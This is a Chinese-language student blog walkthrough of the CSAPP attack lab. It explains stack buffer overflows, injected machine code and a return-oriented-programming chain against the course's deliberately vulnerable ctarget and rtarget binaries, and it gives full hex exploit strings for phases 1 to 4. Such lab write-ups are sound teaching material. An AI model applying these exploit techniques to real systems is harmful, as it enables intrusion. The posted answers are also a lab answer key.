Zth's Blog

记录学习路上的点滴

0%

attack lab

CSAPP lab3: attack lab

写在前面

以后做lab之前, 一定要看官网的README和Writeup!!!

attack lab如果不看这两个东西的话根本就不知道要干嘛(前两个lab我就没看这两个东西, 做的就比较困难, 虽然都做出来了)

对于这个lab而言, 还要充分理解小端序机器是如何存储字节码的

概述

暂时没有, 因为这篇是边做边写的

工具

hex2raw

将输入二进制序列转化为字符串

题解

ctarget

约定

  1. 本target的做法都是利用缓冲区溢出注入二进制代码
  2. 执行ctarget时要加上-q指令, 防止其连接远程服务器(在gdb调试时, r -q来运行)
  3. 三个phase的难度是递增的

通用函数

getbuff

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

这个函数提供一个40字节的缓冲区供我们输入, 当输入超过这个数的时候就可以do something interesting

Phase 1: ctarget.l1

这个phase要求我们在执行完getbuff()之后跳转到touch1()函数, 以下是touch1()函数的反汇编

1
2
3
4
5
6
7
8
9
10
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>

我们知道ret指令相当于以下指令

1
popq    %rip

即把当前栈顶的前8个字节内容赋值给rip寄存器, 我们知道函数调用有一个规则是:

如果函数A()调用函数B(), 那么A()的栈帧最顶端8个字节就是B()结束后的下一条指令的地址, 如图所示

我们在执行getbuff()函数时如果溢出, 那么最先受影响的就是下一条指令的地址, 那我们就把这个位置变成touch1()函数的地址就好了

所以我们需要输入的二进制序列为

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

然后就成功了

Phase 2: ctarget.l2

这个phase要求我们执行完getbuf()后跳转到touch2()函数, 但是与phase1不同的是, 我们要给touch2()函数传一个参数: cookie值

先看看touch2()的反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>

这个汇编代码除了告诉我们函数的入口为地址0x4017ec外其实没有什么用, 因为CSAPP官网的write up文件给出了touch2()的C代码!

也就是要求我们调用touch2()的同时传入cookie作为参数

Writeup给出了advice

  1. 需要往rdi寄存器里写入cookie
  2. 不要用jmp或call, 因为这两个参数的二进制代码不好确定, 用ret指令来完成
  3. 附录B里有用gcc将汇编代码转为机器指令序列的方法

那么一个显然的想法是我们用汇编代码写出来几个指令(把cookie存到%rdi, 调用touch2()函数), 然后通过缓冲区溢出重定向rip寄存器让程序执行这几个指令就可以了

首先把cookie移到%rdi

我的cookie是0x59b997fa, 所以汇编指令如下

1
movl    $0x59b997fa,%edi

然后来到了关键的一步: 调用touch2()函数, 我一开始想的是直接把他的地址移到%rip里

1
mov    $0x4017ec,%rip

但是在转成机器指令.o文件的时候出错了, 说mov指令操作数不对, 原因是我们并不能以任何形式直接对rip寄存器的内容更改! 人家提示里也说了, 用ret指令来完成这个操作。 前边也说过了ret指令干什么事, 所以这里就需要我们对rsp寄存器操作一下, 我们把0x4017ec写到栈里, 然后让rsp指向这个地址就可以了

最终要执行的指令序列为

1
2
3
movl    $0x59b997fa,%edi
sub $0x20,%rsp # 等会会解释为什么这样做
ret

转换成16进制机器指令序列, 得到需要的字节码

1
2
3
4
5
6
7
8
9
10
11

phase_2.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 48 83 ec 20 sub $0x20,%rsp
9: c3 retq

为了方便后续的解释, 先放出这个phase的答案

1
2
3
4
5
6
bf fa 97 b9 59 48 83 ec # 这是getbuf()的那个ret会传给rip的那个地址的内容
20 c3 00 00 00 00 00 00
ec 17 40 00 00 00 00 00 # ret(这是我们自己写的那个ret)里会传给rip的touch2()地址, 注意是小端序!!!
00 00 00 00 00 00 00 00 #
00 00 00 00 00 00 00 00 # 这两行点用没有
78 dc 61 55 00 00 00 00 # 这是getbuf()的那个ret会传给rip的地址

为了确定要注入到rip寄存器的地址, 我们先看看我们的输入具体是被存到哪里了(内存中的哪个地址)

0x5561dc78, 这就是我们放输入的可执行序列的地方, 也是我们要让getbuf()执行完后跳转到的地方, 所以要像phase1那样把它写到最后, 溢出覆盖原来的返回位置, 画个丑图解释一下, 这是getbuf()刚返回后的状态, 此时$rip = 0x5561dc78, 图中每一行是8个字节(地址的箭头应该从右边出来的, 因为右边是低地址, 这里纯粹是为了好看)

讲起来确实有点麻烦, 自己做的话感觉还好

Phase 3: ctarget.l3

这个phase要求我们调用touch3(), 并且传入一个字符串等于我们的cookie。 和phase2不同的是touch3()会调用另一个函数hexmatch()(这两个函数的C代码Writeup里都有, 也是Writeup告诉我该干嘛的, 所以一定要看Writeup), 因为存在函数调用关系, 肯定会在栈上增加返回地址, 而且这个hexmatch()函数可也用了栈空间, 有可能会覆盖我们的输入(主要是传给touch3()的那个参数里的字符串(输入的cookie), 在hexmatch()里要用来比较, 不能被覆盖, 别的都无所谓, 因为它们已经被利用完了)

还是放一下这两个函数的反汇编吧(虽然我觉得用处不大)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff call 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 ret

00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>

这个phase有可能存在巧妙的组织你的输入各部分从而让你输入的cookie不会被覆盖(但是我懒得想), 既然后续操作用到了栈空间, 那我提前把%rsp减一个量不就行了吗, 这样后续申请栈空间就不会影响到我之前的输入, 所以这个phase也就比phase2多了一个操作rsp寄存器的指令, 然后排版一下我们的输入各部分, 计算各个部分的地址就可以了, 这里我们的输入应该分为四个部分:

  1. 注入的返回地址: 用于覆盖getbuf()函数的返回地址, 指向我们的可执行序列
  2. cookie: 用于后续的比较, 要把它的地址放到rdi寄存器里给touch3()函数当参数, 注意这里的cookie是当作字符串的, 也就是数字的高位要在低地址, 而不是phase2中当成数字的小端序
  3. 可执行代码: 执行我们想让它执行的操作
  4. touch3()函数的地址: 这个东西要放在栈顶, 好让ret把它pop到rip寄存器里

然后我们稍微做一下定位, 找到输入附近栈帧的内存位置

然后画一张图解释一下最终我们干了什么事

图中也给出了我们这个phase的答案

1
2
3
4
5
6
fa 18 40 00 00 00 00 00
48 83 ec 30 bf 90 dc 61
55 c3 00 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
80 dc 61 55 00 00 00 00

说明一下各个部分是怎么来的

  1. 返回地址, 用gdb找的

  2. cookie, Writeup里有写, man ascii对出来的, 注意后面要加至少一个00字节作为结束\0

  3. 可执行代码, 先写出我们的汇编代码, 然后按照Writeup附录B的内容操作就好了

  4. touch3()函数的地址, 反汇编里有

那这个phase也就完成了!

rtatget

约定

  1. 使用了栈随机化, 也就是说我们并不能确定输入的位置
  2. 限制代码可执行区域, 也就是说就算我们找到了输入的位置, 也不能执行插入的指令序列
  3. 只能使用给定的farm里的gadgets, 不要用别的地方的

所以说我们唯一能做的就是让输入溢出getbuf()的返回后的地址(之前只溢出8个字节替代返回地址, 现在要溢出不止8个字节了), 然后让gadgets完成我们想要的操作然后ret会影响rsp和rip寄存器

Phase 4: rtarget.l2

Writeup说这个phase我们只需要用start_farmmid_farm中的两个gadgets就足够了, 看看这其中都有哪些指令和gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 ret

000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 ret

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax # 48 89 c7: movq %rax,%rdi # 89 c7: movl %eax,%edi
4019a6: c3 ret

00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax # 58: popq %rax
4019ad: c3 ret

00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 ret

00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 ret

00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 ret

00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) # 48 89 c7: ~ # 89 c7: ~
4019c9: c3 ret

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax # 58: popq %rax
4019cf: c3 ret

00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 ret

再给一下touch2()的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 8b 05 00 00 call 401dad <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 30 32 40 00 mov $0x403230,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 2d 06 00 00 call 401e6f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>

我们发现实际可用的指令也就只有两个, 分别是

1
2
popq    %rax
movq %rax,%rdi

这两个也够了, 反正我们只要把cookie放到rdi寄存器里然后调用touch2()就可以了, 别忘了这两个指令执行完后都跟着一个ret指令

上一张图解释一下我们要溢出的那些内容

我们来模拟一下从getbuf()函数返回开始都发生了什么(以getbuf()的返回地址为基准, 用偏移来表示栈上的地址)

  1. 此时$rsp=0x0, getbuf()函数执行ret语句, 把popq指令的地址给rip寄存器, 并让$rsp+=8
  2. 此时$rsp=0x8, popq指令执行, 把cookie的地址给rax寄存器, 并让$rsp+=8
  3. 此时$rsp=0x10, ret指令执行, 把movq指令的地址给rip寄存器, 并让$rsp+=8
  4. 此时$rsp=0x18, movq指令执行, 将rax寄存器的内容复制给rdi寄存器
  5. 此时$rsp=0x18, ret指令执行, 把touch2()函数的地址给rip寄存器, 并让$rsp+=8
  6. touch2()函数执行, 操作成功

这样我们就达到了我们的目的, 别忘了前面还需要40个字节来先填满缓冲区, 所以最终的答案为

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

运行

phase4完成!

Phase 5: rtarget.l3

Writeup里说这个phase作者设置的很难, 而且只有5分, 是给who want to go beyond the normal expectations for the course准备的, 我觉得可能就麻烦一点, 应该也没什么难的, 回头做(刚看到Advice说official solution用了8个gadgets, 那应该也不简单)